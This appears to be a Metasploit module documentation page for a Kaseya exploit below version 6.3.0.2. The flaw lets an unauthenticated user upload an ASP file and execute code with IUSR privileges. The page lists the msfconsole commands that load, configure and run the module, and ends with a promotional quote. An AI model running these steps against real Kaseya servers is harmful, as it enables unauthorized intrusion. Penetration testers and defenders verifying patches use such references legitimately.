This module exploits an arbitrary file upload vulnerability found in Kaseya versions below 6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous authentication, leading to arbitrary code execution with IUSR privileges.
Windows
x86
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/http/kaseya_uploadimage_file_upload
msf exploit(kaseya_uploadimage_file_upload) > show targets
...targets...
msf exploit(kaseya_uploadimage_file_upload) > set TARGET < target-id >
msf exploit(kaseya_uploadimage_file_upload) > show options
...show and set options...
msf exploit(kaseya_uploadimage_file_upload) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security